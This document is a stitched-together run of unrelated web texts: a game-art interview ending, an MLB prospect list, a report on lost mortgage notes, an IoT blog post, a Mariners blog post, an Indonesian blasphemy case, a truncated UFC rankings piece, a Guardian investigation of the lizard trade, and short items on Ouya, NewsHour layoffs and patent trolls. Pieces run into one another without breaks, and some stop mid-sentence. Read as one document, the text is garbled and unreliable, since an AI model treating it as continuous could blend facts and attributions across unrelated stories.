How do you think the game production technology and environment design, in particular, will evolve in the future. Even today you can create some astonishing environments with Redwood Forest assets in a matter of seconds. And they look very cool. How do you think this will change in the future? Will these tools become cheaper and more accessible? Or maybe will they fade away?
Environment production could rely even more on procedural generation, where the artist only setups some basic rules and the engine automatically picks assets from a library to generate the majority of the environment. So the artist can concentrate on building key gameplay areas and doesn’t need to worry about the surrounding landscape.
Therefore, I think photogrammetry and procedural generation is here to stay for a while. It’s still very hardware intensive and it requires quite a bit of technical knowledge and skill to produce high-quality assets.
But with everything technological, as hardware and software evolve, it will only get faster and easier to do. I think all this will get even more powerful if GPUs and CGI in general move away from a poly based system to something entirely point or volume based.
It will be exciting to see how production will develop in the future.
Willi Hammes, CG Supervisor & CEO at MAWI United GmbH
Interview conducted by Kirill Tokarev.
Follow 80.lv on Facebook, Twitter and InstagramThe latest edition of MLBPipeline.com's Prospect Team of the Week (July 3-9) features four second-timers in DJ Peters, Fernando Tatis Jr., Rio Ruiz and Nick Solak. There's no shortage of Top 100 talent either, with Lucas Giolito, Jay Groome and Dominic Smith each earning their first PTOW nod.
MLBPipeline.com's Prospect Team of the Week honors the best performances from the previous seven days. Any player currently on an organization Top 30 Prospects list on our Prospect Watch is eligible.
MLBPipeline.com's Prospect Team of the Week honors the best performances from the previous seven days. Any player currently on an organization Top 30 Prospects list on our Prospect Watch is eligible.
The latest edition of MLBPipeline.com's Prospect Team of the Week (July 3-9) features four second-timers in DJ Peters, Fernando Tatis Jr., Rio Ruiz and Nick Solak. There's no shortage of Top 100 talent either, with Lucas Giolito, Jay Groome and Dominic Smith each earning their first PTOW nod.
Prospect Team of the Week
Here's our complete Prospect Team of the Week:
C: Mitch Garver, Rochester Red Wings (Triple-A)
(Twins' No. 14 prospect)
7 G,.321/.367/.929, 10 R, 2 2B, 5 HR, 8 RBIs, 2 BB, 8 K
Garver paced all prospects last week with five home runs while seven of his nine hits went for extra bases. The 26-year-old backstop did most of his damage on Sunday, when he connected on three homers for the second time in his five-year career. Through 59 games, Garver, with his 12 homers, has already matched his total from 2016.
Watch: Garver launches 3 homers
1B: Dominic Smith, Las Vegas 51s (Triple-A)
(Mets' No. 2 prospect)/(MLB No. 52)
7 G,.419/.438/.903, 9 R, 3 2B, 4 HR, 12 RBIs, 1 BB, 3 K
Smith put up big numbers for Triple-A Las Vegas last week as he led all Top 30 first basemen in runs scored, hits (13), home runs, RBIs and total bases (28), while hitting safely in six of his seven games. He started his week with his first multihomer performance in nearly a year, and several days later, the 22-year-old first baseman set a career high with six RBIs in a game against El Paso.
Watch: Smith goes yard
2B: Nick Solak, Tampa Yankees (Class A Advanced)
(Yankees' No. 18 prospect)
7 G,.346/.433/.654, 5 R, 2 2B, 2 HR, 2 RBIs, 4 BB, 7 K, 1 SB
Solak earns a spot on the PTOW for the second time in three weeks after he hit safely in six of seven games while scoring one run in five contests. A second-round Draft pick in 2016, the 22-year-old second baseman has had no problems adjusting to the Florida State League, evidenced by his.306/.406/.459 line, 24 extra-base hits and 44-to-56 walk-to-strikeout ratio through 81 games.
Watch: Solak makes diving stop
3B: Rio Ruiz, Gwinnett Braves (Triple-A)
(Braves' No. 22 prospect)
7 G,.333/.355/.700, 4 R, 2 2B, 3 HR, 12 RBIs, 1 BB, 4 K
Ruiz's 12 RBIs were a product of three big games in which the 23-year-old third baseman recorded three, five and four RBIs, respectively. The five RBIs marked a season high for Ruiz, who capped his impressive week by connecting on a pair of home runs Sunday.
Watch: Ruiz launches 2nd homer
SS: Fernando Tatis Jr., Fort Wayne Tin Caps (Class A)
(Padres' No. 5 prospect)/(MLB No. 100)
6 G,.421/.577/.947, 5 R, 1 2B, 3 3B, 1 HR, 2 RBIs, 7 BB, 6 K, 6 SB
The son of former big leaguer Fernando Tatis went 6-for-6 on the basepaths for Class A Fort Wayne last week while posting a.421 average with five extra-base hits and more walks than strikeouts. Three of those extra-base hits were triples, and they came in three straight games. Just 18 years old, Tatis has opened many eyes in his full-season debut by hitting.276 with 13 home runs and 20 stolen bases in 83 games.
Watch: Tatis notches 3 hits
OF: Ramon Laureano, Corpus Christi Hooks (Double-A)
(Astros' No. 8 prospect)
7 G,.483/.500/1.000, 7 R, 5 2B, 2 3B, 2 HR, 5 RBIs, 1 BB, 3 K, 1 SB
After failing to collect a hit on Monday and Tuesday, the 22-year-old Laureano caught fire and rattled off five straight multihit performances to close out his week, including a 5-for-5, three-extra-base-hit game on Sunday. That performance pushed him into the lead in both hits (14) and total bases (29) for the week, during which he raised his season average from.204 to.232.
Watch: Laureano launches leadoff HR
OF: DJ Peters, Rancho Cucamonga Quakes (Class A Advanced)
(Dodgers' No. 18 prospect)
7 G,.448/.500/.966, 7 R, 4 2B, 1 3B, 3 HR, 7 RBIs, 1 BB, 7 K, 2 HBP
Peters made headlines on Wednesday when he became the first player to hit two home runs in the same inning against a rehabbing Madison Bumgarner. What's more, he hit in each of his seven games to extend his hitting streak to 14 games, during which he's hitting.429 with a 1.386 OPS and six home runs. Overall, Peters leads the California League with 19 homers.
Watch: Peters sends one out
OF: Brett Phillips, Colorado Springs Sky Sox (Triple-A)
(Brewers' No. 10 prospect)
8 G,.375/.432/.750, 10 R, 1 2B, 1 3B, 3 HR, 12 RBIs, 3 BB, 7 K, 3 SB
Phillips homered in back-to-back games for the Sky Sox over the weekend to put a bow on a week in which he tied for the most runs scored and tied for second in RBIs. Though he struggled in 2016, the 23-year-old outfielder has already matched his career high with 17 home runs through 76 games, all while hitting.293.
LHP: Jay Groome, Greenville Drive (Class A)
(Red Sox's No. 2 prospect)/(MLB No. 34)
1-0, 0.00 ERA, 1 GS, 5 IP, 1 H, 0 R, 0 ER, 1 BB, 7 K, 0.40 WHIP
Groome, 18, faced the minimum over five innings on Wednesday in his first outing for Greenville since he exited his season debut on April 10 with a lat injury. The 2016 No. 12 overall Draft pick threw 60 pitches (38 strikes) in the outing, allowing one hit and one walk while striking out seven. Including his final rehab start in the New York-Penn League, Groome has yielded one hit while fanning 13 in his past 10 innings.
Watch: Groome notches 7th strikeout
RHP: Lucas Giolito, Charlotte Knights (Triple-A)
(White Sox No. 4 prospect)/(MLB No. 28)
1-0, 0.00 ERA, 1 GS, 7 IP, 2 H, 0 R, 0 ER, 2 BB, 10 K, 0.57 WHIP
After struggling in his previous start, Giolito rebounded to fire a two-hitter and strike out 10 on Saturday, his second seven-inning shutout of the season. The double-digit strikeout performance was Giolito's second of the season and continued a trend that's seen the 22-year-old right-hander miss more bats since the calendar flipped to June. He owns a 3.88 ERA with 57 strikeouts in 51 innings over his past 11 turns for the Knights.
Watch: Giolito notches 10th strikeout
RP: Joe Jimenez, Toledo Mud Hens (Triple-A)
(Tigers' No. 5 prospect)
0-0, 1 SV, 0.00 ERA, 4 G, 4 2/3 IP, 1 H, 0 R, 0 ER, 1 BB, 8 K, 0.43 WHIP
Jimenez struck out half of the 16 batters he faced last week courtesy of multiple strikeouts in three of his four appearances for Toledo. The 22-year-old righty has been outstanding lately, with a 0.00 ERA, 12 strikeouts and three hits allowed in his past 8 2/3 innings spanning eight appearances.With the sale set aside, Ms. Fernandez remains in the home. “We believe this loan was never assigned,” said Ray Garcia, the lawyer in Miami who represented the borrower. Now, he said, it is up to whoever can produce the underlying note to litigate the case. The statute of limitations on such a matter runs for five years, he said.
A spokeswoman for Capital One, which is in the process of acquiring Chevy Chase, did not return a phone call on Friday seeking comment.
Mr. Garcia has another case in which a borrower tried to sell his home but could not because the note underlying a $60,000 second mortgage cannot be found. The statute of limitations on the matter will expire in October, he said, and if the note holder has not come forward by then, the borrower will be free of his obligation on the second mortgage.
No one knows how many loans went into securitization trusts with defective documentation. But as messes go, this one has, ahem, potential. According to Inside Mortgage Finance, some eight million nonprime mortgages were put into securities pools in 2005 and 2006 and sold to investors. The value of these loans was $797 billion in 2005 and $815 billion in 2006.
If notes underlying even some of these mortgages were improperly assigned or lost, that will surely complicate pending legislation intended to allow bankruptcy judges to modify mortgage terms for troubled borrowers. A so-called cram-down provision in the law would let judges reduce the size of a loan, forcing whoever holds the security interest in it to take a loss.
But if the holder of the note is in doubt, how can these loans be modified?
Bookkeeping is such a bore, especially when there are billions to be made shoveling loans into trusts like coal into the Titanic’s boilers. You can imagine the thought process: Assigning notes takes time and costs money, why bother? Who’s going to ask for proof of ownership of these notes anyhow?
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But as the Fernandez case and others indicate, bankruptcy judges across the country are increasingly asking these pesky questions. Two judges in California — one in state court, another in federal court — issued temporary restraining orders last month stopping foreclosures because proper documentation was not produced by lenders or their representatives. And in another California case, a borrower’s lawyer was awarded $8,800 in attorney’s fees relating to costs spent litigating against a lender that could not prove it had the right to foreclose.
California cases are especially interesting because foreclosures in that state can be conducted without the oversight of a judge. Borrowers who do not have a lawyer representing them can be turned out of their homes in four months.
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Samuel L. Bufford, a federal bankruptcy judge in Los Angeles since 1985, has overseen some 100,000 bankruptcy cases. He said that in previous years, he rarely asked for documentation in a foreclosure case but that problems encountered in mortgage securitizations have made him become more demanding.
In a recent case, Judge Bufford said, he asked a lender to produce the original of the note and it turned out to be different from the copy that had been previously submitted to the court. The original had been assigned to a bank that had then transferred it to Freddie Mac, the judge explained. “They had no clue what happened after that,” he said. “Now somebody’s got to go find that note.”
“My guess is it’s because in the secondary mortgage market they have been sloppy,” Judge Bufford added. “The people who put the deals together get paid for the deals, but they don’t get paid for the paperwork.”
A small but spirited group of consumer lawyers has argued for years that the process of pooling residential mortgages into securities was so haphazard that proper documentation of the loans was never made in many cases. Leading the brigade is April Charney, a foreclosure lawyer at Jacksonville Legal Aid in Florida; she now trains consumer lawyers around the country to litigate these cases.
Depending on the documentation defect, lawyers say, investors in the trust could try to force the institution that sold the loan to the trust to buy it back. Many of these institutions would be unable to do so, however, because they are defunct. In the meantime, when judges are not persuaded that the documentation is proper, troubled borrowers can remain in their homes even if they are delinquent.
THE woes brought on by sloppy bookkeeping in securitizations will be on the agenda at the American Bankruptcy Institute’s annual spring meeting on April 3. An article titled “Where’s the Note, Who’s the Holder,” co-written by Judge Bufford and R. Glen Ayers, a former federal bankruptcy judge in Texas, will be the basis of a discussion at the meeting.
Mr. Ayers, who is a lawyer at Langley & Banack in San Antonio, said he expects that these documentation problems will halt a lot of foreclosures. That will mean pain for investors who hold the securities. The problem for those who expect to receive the benefit of the note, Mr. Ayers said, is that they “may not be able to show to the judge they have a right to foreclose.”
“It’s a huge problem,” he added. “It’s going to be expensive, I don’t know how expensive, ultimately to the bondholders.”Being connected isn’t enough — IoT isn’t only the future, it’s the present.
By Emir Hasanbegovic
TribalScale Inc. Blocked Unblock Follow Following Feb 1, 2016
Being connected isn’t enough — IoT isn’t only the future, it’s the present.
The Internet of Things (IoT) is a term used to describe vast opportunities to connect non-traditional devices and systems to the internet. While connecting these things to the internet is important, how you use these connected devices is of more importance.
There are tools and devices that help connect things to the cloud. There is currently a myriad of cloud solutions that offer IoT services. If you are trying to build an IoT platform or framework, you are late to the game. It is time now to utilize these tools to bring value to the world, it is time for a renaissance of mobile connectivity and experiences. People rely on their mobile devices to be the gateway to all things digital, it is therefore easy to see what opportunities lie in IoT when you put mobile devices into the equation. We’ve seen great success and adoption in the connected home, retail and hotel industries. The real question is; how does this affect you?
Like websites and mobile applications had their time, IoT is the next frontier of digital presence. If your business or service is not connecting to the things around it, you risk falling behind. Uber has disrupted delivery and transportation services by offering simpler experiences that connect you to moving pieces all over the city, all via your mobile device. Starbucks is disrupting as well, they have made it convenient to order their coffee via mobile device. While this feature is very disruptive, this is only version one of their offering, every iteration will put them ahead of the game and systematically leave their competition in the dust. These systematic feature changes are how Uber has grown their business. While premium taxi services was version one, they have iterated and now offer different tiers of transportation, different use cases of transportation, and even food delivery.
While many are rightfully talking about big data and connectivity infrastructure, the rest of us need to focus on the adoption of the endpoints of this infrastructure. Just like for web and mobile, the cloud systems alone bring no value to your organization. A well thought out digital experience backed by said cloud system is what will disrupt your industry. All aspects of business are slowly going digital but there is a clear value to physical interactions; such as trying on a shoe before you buy it. IoT is about bringing value to the physical experiences that exist, or modifying them to supplement digital ones. Uber and Starbucks have shown that IoT is available to the masses and the masses are ready and eager to consume via IoT. Those who rely on mobile applications to drive their business should not think of IoT as a separate endeavour, but a part of their mobile application offering.
While IoT is attractive, as an organization you need to be prepared for the operational changes that accompany IoT. Your organization needs to be able to handle new procedures and support the technical issues associated. These digital experiences may provide insight into critical opportunities for your organization and you will need to be able to pivot accordingly to take advantage of the opportunities presented.
Let’s take Starbucks as a hypothetical example of operational changes, with more people skipping the order line and going straight to the production line, the demand for employees to take orders decreases and the demand for making orders increases. This leaves the potential to service more clients with the same amount of staff, change is required to embrace this opportunity. The difficulty lies in the transition between the old and the new, in this case the shift of skill sets may leave the store’s customer services lacking, which affects the way the customer views the overall experience.
Take a minute to stop and think about what connected environments and IoT could mean for you and your business/services. The reality is that you will need to incorporate these changes soon, the question is how will your organization prepare for these changes.The U.S.S. Mariner is in no way affiliated with, condoned or given any notice by the Seattle Mariners baseball team, who have their own website. Similarly, we have no association with the ownership group or any businesses related to the Mariners. All article text is written by the authors, all pictures are taken by the authors, who retain copyright to their works. No copying or reproduction of any content here, photographic or otherwise, is authorized. Please email us if you wish to reproduce our work.
It’s Time For Miguel Olivo To Be Accountable
Eric Wedge is big on accountability, and last night, he benched Brendan Ryan for an issue that he chalked up to that very reason. We could debate the merits of this kind of public-punishment leadership style, but that’s probably another post. The reality is that Wedge has made it clear that if you screw up, your spot in the line-up is in danger.
Unless, of course, your name is Miguel Olivo.
The Mariners have played 53 innings of baseball so far this year – Olivo has been behind the plate for every single one of them. John Jaso is the only position player who has not yet seen any action in 2012, and it’s pretty clear that Wedge intends on playing Olivo just as frequently as he did last year, when Olivo made 120 starts and caught 1,064 of the team’s 1,433 innings. And it apparently doesn’t matter how many times Olivo fails to perform the basic fundamental tasks asked of a catcher – his playing time is just not in jeopardy.
Take last night, for instance. In the second inning, Adrian Beltre led off with a double to put a man in scoring position. Blake Beavan then got Michael Young to bounce back to the mound, and they were able to get Beltre out at third. Young was able to advance to second on the play, however, so the situation remained the same – man in scoring position, one out.
Then, on the 1-1 pitch to Nelson Cruz, Beavan threw this 75 MPH curveball:
The pitch was down in the zone and a little bit outside, but it was a fairly routine stop for any Major League catcher. Olivo stabbed at the ball rather than dropping to his knees (catching 101), and the ball got away from him, so Young moved up to third base. He would then score on an infield single by David Murphy, and that would end up being the only run in the game. It’s not fair to say that Olivo’s misplay was the only reason they lost, but it directly led to the only run the team allowed all night, and it is fair to say that Olivo has no excuse for not stopping that pitch.
You know, except for the fact that he’s apparently unwilling or unable to become a reasonably passable defensive catcher.
Miguel Olivo broke in to the Major Leagues in 2003, starting 98 games for the White Sox as a rookie. Despite being just a part-time player, he still managed to allow 8 passed balls, third most in the American League. Since then, here’s his season passed ball totals and where they rank in his respective league:
2004 – 13 (2nd)
2005 – 7 (in only 690 IP, dumped by Mariners at midseason)
2006 – 10 (1st)
2007 – 16 (1st)
2008 – 4 (injured, only started 56 games)
2009 – 10 (1st)
2010 – 10 (1st)
2011 – 11 (3rd)
Last year was the first time in five years that Olivo had been healthy and not led his league in passed balls. He was eclipsed only by Toronto rookie J.P. Arencibia and Boston’s Jarrod Saltalamacchia, who was tasked with catching knuckleballer Tim Wakefield, so in reality, his PB total requires a large asterisk.
And, as we saw last night, a lot of easily stopped balls end up getting classified as wild pitches by the official scorer, and Olivo doesn’t take any kind of official hit for those. You will probably not be shocked to learn that, in addition to the official passed balls, the Mariners threw 68 “wild pitches”, fifth most in baseball. It’s impossible to know just how many of those wild pitches were actually balls that Olivo should have stopped, but you can bet there were more than a couple.
Catching the ball is the basic fundamental skill required of the position – it’s why they’re called “Catchers”. Miguel Olivo is absolutely terrible at this, and has been for a very long time. He’s the active leader in passed balls by a mile – he has 92, the next highest is Ramon Hernandez at 78 – and he has almost twice as many as the #4 guy on the list. That guy, Yadier Molina, has almost exactly the same number of career innings behind the dish, coming out at 7,715 compared to Olivo’s 7,700. Molina has allowed 48 passed balls. Now, he’s the best defensive catcher in the sport, but we’re talking 44 extra passed balls, or about six extra PB every single year. And again, this doesn’t count the ones that aren’t called passed balls like the pitch Beavan threw last night.
If Eric Wedge is going to bluster about “playing the game the right way” and “being accountable”, Miguel Olivo should be on the bench today. In reality, he should be on the bench most days, as he is a disaster of a baseball player, and has no future with this organization. Since signing back with the M’s, he’s posted a.247 on base percentage. Two-Forty-Seven. He refuses to stop chasing pitches out of the zone, and is the easiest out in the line-up every single night. He’s abysmal defensively. He’s 33, and thankfully in the last year of his contract. That he’s still playing every day for a rebuilding team with a legitimate alternative (or two, if you think Montero is ready to catch occasionally) is a legitimate problem, and Wedge’s love affair with Olivo is not only costing the team wins but undermines this entire concept of accountability.
Miguel Olivo is perhaps of the least fundamentally sound player in the sport. He either cannot or will not improve on his obvious flaws. And yet, he plays. Every single day.
It’s ridiculous and it should come to an end. If Jack needs to release Olivo in order to get him out of the line-up, so be it. Olivo brings nothing to the table that can’t be easily replaced, and the team would be better off with him letting balls roll to the backstop in another uniform.
CommentsJakarta Post chief Meidyatama Suryodiningrat faces up to five years in prison after sketch prompts outcry from Islamic groups
The chief editor of a leading English-language newspaper in Muslim-majority Indonesia has been named a suspect in a blasphemy case after the publication of a cartoon about the Islamic State (Isis) group.
The Jakarta Post’s Meidyatama Suryodiningrat could be jailed for up to five years if found guilty. He is the latest person to face action under the country’s tough blasphemy laws, which have been criticised by rights groups as overly harsh and outdated.
The cartoon, published in the paper on 3 July, shows a man raising a flag emblazoned with the Arabic phrase: “There is no God but Allah” over a picture of a skull and crossbones, with armed fighters in the background.
Following an outcry from Islamic groups, the Jakarta Post issued a front-page apology and retracted the cartoon five days later. It insisted it was meant to “critique the use of religious symbols”, and as a “reproach” to Isis, the Islamist group that holds vast swathes of territory across Syria and Iraq.
A group called the Jakarta Muslim Preachers Corps filed a complaint to the police and on Friday a Jakarta police spokesman said that Suryodiningrat was officially named a suspect the previous day.
“The status of MS has been upgraded to suspect,” said the spokesman, using the editor’s initials, which is normal practice in Indonesian criminal cases.
Local media reported that he will be summoned for questioning next week. In some criminal cases in Indonesia, people are first named a suspect and only detained at a later date.
In a statement published on the Jakarta Post’s website, Suryodiningrat said that the paper was amazed by the move. “What we produced was a journalistic piece that criticised the Isis movement, which has carried out violence in the name of religion,” he said.
Amnesty International last month called on new president Joko Widodo to abolish the blasphemy laws, saying that cases of people being jailed for infringing the regulations had skyrocketed under his predecessor.
Erwin Arnada, editor of Indonesia’s version of Playboy magazine, was jailed for two years in 2010 for indecency, but walked free in 2011 after the supreme court accepted his appeal.The hosts of The Hammer MMA Radio have been contributing to the UFC’s Official Fighter Rankings since its inception earlier this year. While the UFC themselves have confirmed that these rankings may not necessarily impact their matchmaking, the three of us still put a lot of thought into our selection process at the conclusion of each event. Following each event we will be breaking down our thought process on a few of the relevant divisions right here at Last Word On Sports.
You can find our updated Rankings, as well as the overall UFC Rankings at http://www.ufc.com/rankings, both updated on the Monday immediately following every UFC event.
UFC 161: Evans vs. Henderson
Steve Jeffery: Well, so much for Roy Nelson’s title run. Following three consecutive first-round knockouts “Big” Country” had made his way pretty high up the rankings (#7 on our list, and even #5 overall). Unfortunately it seems like Nelson made the all-too-common mistake of trading all of his momentum for a short-notice fight that he was not prepared for.
On the other hand, his opponent
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prices of up to €5,000 (£3,200) a pair on the sidelines of the quarterly Terraristika fair in Hamm, Germany. Their trade in Europe is estimated to be worth millions of euros.
At the September trade fair, the Guardian posed as a potential buyer and was offered earless monitor lizards and arboreal alligator lizards, both of which are protected species in their home countries of Indonesia and Mexico and Guatemala respectively. The next fair is on 12 December.
“The trading of nationally protected species may only be a small part of the reptile business, but it could easily drive highly threatened species to extinction,” said Sandra Altherr, the co-founder of Pro Wildlife, a German conservation group. “Some of these creatures have already been confined to tiny areas of territory in their native lands.”
The Convention on International Trade in Endangered Species (Cites) will hear proposals to ban the international trade in earless monitor and some arboreal alligator lizards at its next conference in South Africa in 2016.
In the meantime, while collecting the species in the wild and exporting them is illegal in their countries of origin, they may be freely bought and sold in Europe without a crime being committed - and no extradition treaties apply.
Nonetheless, the trade in endangered species at Hamm goes on at the fringes of the main fair. The Terraristika organisers ban photography, so it is hard for anyone not there to know which species are changing hands.
The cavernous warehouse into which Hamm welcomes thousands of visitors is itself an exotic territory. Teenagers, travellers, anarchists and alternative pet shop owners roam the huge convention site, which is filled with stalls containing many thousands of often venomous snakes, frogs, lizards and spiders.
Some visitors carry large white boxes under their arms. Others sport “recovering reptaholic” t-shirts that are equal parts spiv and goth - a bit like Only Fools and Horses with face tattoos.
“Lanthanotus borneensis? I know a friend who has them,” said stallholder Jurgen Schmidt, referring to the Latin name for the earless monitor lizard. “They’re about €5,000 a pair, captive bred, about this size,” he said, holding out his fingers about 20 centimetres. “I can call him and ask if he’s here?”
Another trader that operates at the Hamm fairs is Robert Seipp, a German teacher, keeper and trader of reptiles which, according to his Facebook page, include the prized Borneo lizard.
In 1993, Seipp was the only member of a group of four German lizard enthusiasts to emerge unscathed after Madagascan authorities opened fire on the group, leaving two of his party dead, and a third blind in one eye. One Malagasy police officer was also killed, reportedly shot by accident by another cop.
Two of Seipp’s employees have been prosecuted and jailed in New Zealand for taking rare gecko species from the wild, according to a letter from the government’s conservation department to Pro Wildlife, which the Guardian has seen. It said that Seipp had not visited the country and he was not prosecuted.
Facebook Twitter Pinterest Photos of the lizards that they say Schaub was selling on his stall at the Terraristika fair in March. Photograph: Private colletion
“It would be an understatement [to say] that we remain concerned for any continuing smuggling of any and all of our protected wildlife (flora and fauna),” Geoff Owen, the department’s Cites enforcement manager wrote. Jewelled gecko populations had declined by 95% in a 15-year period, he said.
Owen said there is a growing problem with desirable species being smuggled out of the country by dealers and collectors: “New Zealand has taken a number of prosecutions against what has been a disproportionate number of German nationals for attempting to take protected geckos from New Zealand. The number of events has noticeably grown in recent years.”
Sources with knowledge of the Hamm fair say that Seipp and another German trader, Markus Schaub, bought and sold jewelled geckos at the Terraristika trade fair in June. Selling them in Europe is not illegal but taking them from New Zealand would be. Seipp did not respond to a request for comment. Schaub, who says that he is a conservationist, denies that he sold the species.
At the trade fair, Schaub, was eager to talk when asked if he had any rare abronias (arboreal alligator lizards). “You’re looking to buy?” he said. “I have abronias here, but only that I got from one customer to ship to another. I just do the transport.”
Schaub handed over a business card with an email address for his partner, Maciej Oskroba, and said: “If you’re interested, just write me an email so I can let you know if people are offering abronias. I have customers calling me, saying ‘Markus, I’ve got a deppii’ and I’m expecting a fimbriata [two species of abronia].”
Oskroba was caught trying to smuggle more than 400 frogs, lizards and snakes out of Costa Rice last year. He was held for a few days then deported. “In my 20 years working at the airport, this is the largest wildlife trafficking case we’ve seen,” Carlos Viquez, the chief of Panama airport security was quoted as saying at the time.
In reply to an emailed request ostensibly from an enthusiast interested in purchasing rare lizards, Oskroba wrote: “I will let you know in a few weeks how it should works [sic] on abronias. Please wait a bit for further information.”
Schaub and Schmidt both denied that the reptiles they were offering had been caught in the wild.
But captive breeding is not possible for all species. International experts believe that rare species such as earless monitor lizards could not be captive-bred for sale in trade fairs. “All the specimens available outside Borneo have been illegally obtained and brought there,” said Mark Auliya, the co-chair of the IUCN’s monitor lizard specialist group. “For the people who harvest and collect lizards, it’s like additional pocket money. The main money is made by syndicates of importers and exporters – the profit margin is extremely high,” he added.
The more rare and exotic the species, the higher the asking price. The IUCN says that one contemporary trend for “mutants” has created bizarrely multicoloured frogs and snakes without scalation that bleed if they try to move on a rough surface.
Lanthanotus borneensis is a truly enigmatic, subterranean species that is sought by collectors for its unique features such as blue eyes and a lack of visible ears. Campaigners and vendors both say that a drop in their retail price from €8,000 a pair at the start of the year to €5,000 in September suggests an increase in supply.
Facebook Twitter Pinterest An earless monitor lizard pair. Photograph: Matthijs Kuijpers/Alamy
“Those animals were like the holy grail for many years because no one believed they really existed,” one seller said. “Now that Borneo is destroying the habitats where they lived for palm oil plantations, you can find them in the rice fields, in every channel where water flows between one field and another. At first they were expensive but no one is bringing them in anymore. It’s cheaper to breed them here.”
But the argument that lizard traders are protecting animals threatened by habitat loss in the wild was “complete nonsense,” said the IUCN’s Mark Auliya, who is currently based at the Helmholtz centre for environmental research in Leipzig.
Pro Wildlife’s Sandra Altherr agreed: “Preservation in captivity would only make sense if the smugglers planned to release these animals into the wild one day and of course, they do not.”
In private, traders admit that the rearing of lizards for sale is not always played by the book. “Taking species from the wild is frowned upon nowadays. It’s all about captive breeding but you have to have new blood to liven up the gene pool,” explained one London-based reptile seller.
Another trader compared the reptile industry to stamp collecting. “We’re all aware that there are animals coming to Europe from sources that are working on the grey line,” he said. “We have a big problem in that you can trade Cites species without any controls, just a hand-written note saying ‘I’m a breeder and I sold you an animal’.”
The Guardian approached the organisers of the Terraristika trade fair but they declined to comment.
LUCRATIVE LIZARDS
Reptiles are not the most charismatic of protected species, but they can play a vital role in ecosystems. Herbivorous species can be important seed dispersers, especially on islands and other lizards may eat rodents and insect pests. Reptiles can also act as pollinators for rare plants. In food chains, lizards play a role as predators and prey, and their removal can severely impact upon other wildlife populations, and ecosystems in general.
Facebook Twitter Pinterest Rhino horn lizard. Photograph: Alamy
Ceratophora stoddartii: Rhino horn lizard
This slow-moving arboreal lizard has bright orange lining inside its mouth that it reveals when threatened. Native to Sri Lanka’s cloud forests, all exports of the endangered stoddartii are forbidden. All the same, it has been traded in Europe since at least August 2013 for around €1,200 a pair.
Lanthanotus borneensis Borneo earless monitor lizard
Endemic to Sarawak and West Kalimantan in Borneo, Lanthanotus is thought rare, although little is known about the cryptic lizard with a morphology that has been linked to a 70 million-year-old Mongolian fossil. The reptile, which sells for around €5,000 a pair, is a protected species in Indonesia. Punishment for its theft can go as high as a five-year prison sentence.
Abronia fimbriata: Fringed arboreal alligator lizard
The IUCN classifies Guatemala’s fimbriatas as endangered, and they are found in less than five locations, at high altitudes. On the market, they sell for €2,800 a pair. Like the Lanthanotus, these have been traded in Europe since last May, and have also been proposed for a Cites listing.
Facebook Twitter Pinterest The psychedelic gecko. Photograph: L Lee Grismer
Cnemaspis psychedelica: Psychedelic gecko
Psychedelica was discovered in Vietnam in 2011 – and began retailing in Europe’s reptile market in October 2013, at prices of around €3,500 a pair. Endemic only to Hon Khoai island, it has not yet been given a protected status but could be approved for an “appendix 1” listing at the next Cites conference.
Ctenosaura defensor: Yucatán Spiny-tailed Iguana
In European trade fairs, defensors sell for €1,200 each. The unusual iguana is classified as vulnerable by the IUCN, mainly due to the loss of its jungle habitat in Mexico, and the lizard trade. A decade ago, the IUCN predicted that its numbers would fall by 30% within 10 years.
• This article was amended on 16 November 2015. An earlier version said that Robert Seipp was involved in a “gun battle with” Madagascan authorities. This has been corrected.Ouya might be one of the biggest gadget-funding success stories in recent memory. A Kickstarter raised almost $8.6 million for the Android-based console, and it's shipping to those backers this week. The idea is to create an "open" platform, where anyone who wants to build a game can, unlike in the AAA world of PlayStation and Xbox. The question now: What are the limits of what can be played on it?
There are a few interesting titles being released at launch on Thursday, but an experimental console with a dearth of brand power will need more than just a few good titles to draw people in. On its forum, Ouya recently announced that developers will be able to bring emulators to the console. Emulators are software that can be used to play games on hardware they weren't intended for. Want to relive the glory days of Super Mario on your phone? Play a round of Street Fighter II through Ouya? No problem. Note:Reaction to the plan was mixed, both among “NewsHour” staff members and viewers on social media Web sites. Many expressed sadness about the layoffs and concern about the quality of news coverage, while others suggested the “NewsHour” producers were right to trim excess spending.
Earlier this year, public television employees who were not authorized to speak publicly told The New York Times that the production company was facing a shortfall of up to $7 million, a quarter of its $28 million overall budget, in the fiscal year that ends this month. The company’s budget outlook for the next fiscal year is unknown. But a spokeswoman for the “NewsHour” acknowledged that the reorganization, which will take place over several months starting in July, would help balance the budget.
The spokeswoman said that about 10 employees, of 100 in all, would be affected.
Ms. Winslow and Mr. Jones said in their memo that the cuts were a result of, among other things, “a steady drop in corporate revenue.”
The shuttering of the offices in Denver and San Francisco will end an era for the “NewsHour,” which long ago also had offices in New York, Chicago, Los Angeles and elsewhere. To make up for the loss of reporting staff outside the Washington area, “along with sending our own teams in the field, we anticipate building new relationships with a variety of locally based freelance video journalists around the country,” Ms. Winslow and Mr. Jones wrote. “Under no circumstances do we intend to abandon the minidocumentary reports that have become so critical to our broadcast. The ‘NewsHour’ remains committed to delivering the same kind of in-depth reporting our viewers and supporters expect from us.”President Obama is planning to take executive action against patent trolls, announcing a series of legal moves tomorrow to rein in some of the patent system’s current abuses, reports The Wall Street Journal. The president will reportedly instruct the Patent and Trademark Office to start work on a rule-making process that would require the disclosure of a patent's owner in addition to its inventor. The move is reportedly designed to give people more information in the case that they’re charged with patent infringement, like whether the company that’s suing them owns other related patents. Citing unnamed officials, The WSJ writes that the president will announce five executive actions and seven proposed legislative changes, including one that would allow litigants to be sanctioned for filing abusive lawsuits.
Lessening the role of the ITC in settling patent disputes
One such change is reportedly aimed at lessening the role of the International Trade Commission (ITC) in settling patent disputes. Tech companies like Apple, Motorola, and others have increasingly turned to the regulatory body to seek import bans on competitors' products that they believe infringe their patents, and Obama is reportedly aiming to cut down on the frequency that it's used.
The term “patent troll” describes a company that acquires patents, not to build products, but simply rack up licensing fees through the threat of litigation, a practice (recently detailed on This American Life) that has drawn the ire of many, including the president. Reforming the patent system has been a major area of interest for Obama, whose 2011's America Invents Act went into effect in March, bringing sweeping changes to the system such as the ability to oppose new patents before they're granted.
